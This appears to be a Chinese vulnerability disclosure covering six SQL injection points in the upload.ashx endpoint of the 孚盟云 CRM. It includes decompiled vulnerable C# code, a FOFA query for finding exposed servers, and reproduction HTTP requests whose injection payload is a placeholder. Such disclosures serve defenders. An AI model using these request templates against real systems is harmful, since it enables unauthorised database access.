孚盟云CRM upload.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云upload.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

showImgss

直接看 /Ajax/upload.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 Ajax.upload 下的showImgss方法的实现如下

public void showImgss(HttpContext context)
{
  DataTable dataSource = new MouldDao().GetDataSource($"select  Pic from bfCustomers where FID='{context.Request.QueryString["FID"]}'");
  byte[] numArray1 = (byte[]) null;

未经过滤或参数化绑定的参数 FID 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。

deletefile

if (!string.op_Equality(s, "deletefile"))
          break;
        string str25 = context.Request["name"];
        HttpCookie cookie = context.Request.Cookies[str25];
        FileManager fileManager = new FileManager();
        if (cookie == null)
          break;
        string str26 = cookie.Value;
        if (string.op_Inequality(str26, ""))
        {
          DataTable table = this.dbHelper.Query($"select * from dcFile where FUID='{str26}'").Tables[0];

通过name参数设置cookie的key,然后将cookie里对应key的value直接拼接进SQL语句中执行,无任何过滤或者校验,导致SQL注入漏洞。

showSmallImg

public void ShowSmallImg(HttpContext context)
{
  string str1 = context.Request.QueryString["id"];
  string str2 = context.Request.QueryString["tabname"];
  DataTable dataSource = new MouldDao().GetDataSource($"SELECT {context.Request.QueryString["imgField"]} FROM {str2} WHERE FID={str1}");

所有SQL语句组成部分均为直接拼接参数,从而导致SQL注入漏洞。

image

public void image(HttpContext context)
{
  string str1 = context.Request.QueryString["CardID"];
  string str2 = context.Request.QueryString["FID"];
  string str3 = context.Request.QueryString["ConstactFID"];
  Regex regex = new Regex("^\\d+$");
  string str4 = context.Request.QueryString["imagefb"];
  string sql = "";
  DataTable dataTable = (DataTable) null;
  if (str1 != null)
    sql = $"SELECT {str4} FROM bfCamCardInfo WHERE CardID='{str1}'";
  if (str2 != null)
    sql = $"SELECT {str4} FROM bfCamCardInfo WHERE FID='{str2}'";
  if (str3 != null)
    sql = $"SELECT {str4} FROM bfCamCardInfo WHERE ConstactFID='{str3}'";
  if (string.op_Inequality(sql, ""))
    dataTable = new MouldDao().GetDataSource(sql);

同上

showProdImg

public void showProdImg(HttpContext context)
  {
    string str1 = context.Request.QueryString["FID"];
    string str2 = context.Request.QueryString["MainImg"];
    string sql = $"SELECT PicPath  FROM bpProdPicBank WHERE ItemNo IN (SELECT ItemNo  FROM bpProducts WHERE FID='{str1}') AND PicType=0";
    if (string.op_Equality(str2, "0"))
      sql = $"SELECT PicPath  FROM bpProdPicBank WHERE FID='{str1}' ";
    DataTable dataSource = new MouldDao().GetDataSource(sql);

参数 FID 未经任何校验或过滤被直接拼接进SQL语句中执行,造成SQL注入漏洞。

DownLoadFieldAttch

public void DownLoadFieldAttch(HttpContext context)
{
  DataTable dataSource = new MouldDao().GetDataSource($"SELECT *  FROM dcFile  WHERE FileSavepoc='{(context.Request["trueFileName"] == null ? "" : context.Request["trueFileName"].ToString())}' ");
  if (dataSource == null)

参数 trueFileName 未经任何校验或过滤被直接拼接进SQL语句中执行,造成SQL注入漏洞。

漏洞复现

showImgss

GET /Ajax/upload.ashx?action=showImgss&FID=SQLI_POC HTTP/1.1
Host: fumacrm.mrxn.net

成功延时 4 秒

deletefile

GET /Ajax/upload.ashx?action=deletefile&name=poc HTTP/1.1
Host: fumacrm.mrxn.net
X-Forwarded-For: 127.0.0.1
Cookie: poc=SQLI_POC

成功利用报错注入在响应回显数据库版本信息

showSmallImg

GET /Ajax/upload.ashx?action=showSmallImg&id=SQLI_POC&tabpoc=bfContacts&imgField=FID HTTP/1.1
Host: fumacrm.mrxn.net

成功利用报错注入在响应回显数据库版本信息

showProdImg

GET /Ajax/upload.ashx?action=showProdImg&FID=SQLI_POC HTTP/1.1
Host: fumacrm.mrxn.net

成功利用报错注入在响应回显数据库版本信息

image

GET /Ajax/upload.ashx?action=image&CardID=SQLI_POC&imagefb=FID HTTP/1.1
Host: fumacrm.mrxn.net

成功利用报错注入在响应回显数据库版本信息

DownLoadFieldAttch

GET /Ajax/upload.ashx?action=DownLoadFieldAttch&trueFileName=SQLI_POC HTTP/1.1
Host: fumacrm.mrxn.net

成功利用报错注入在响应回显数据库版本信息


手机扫码阅读

索贝融媒体 /sobey-mchEditor/mch/WXArticleInt/logicdelete SQL注入漏洞

用友NC content、portalpage 多个XML实体注入(XXE)漏洞

评 论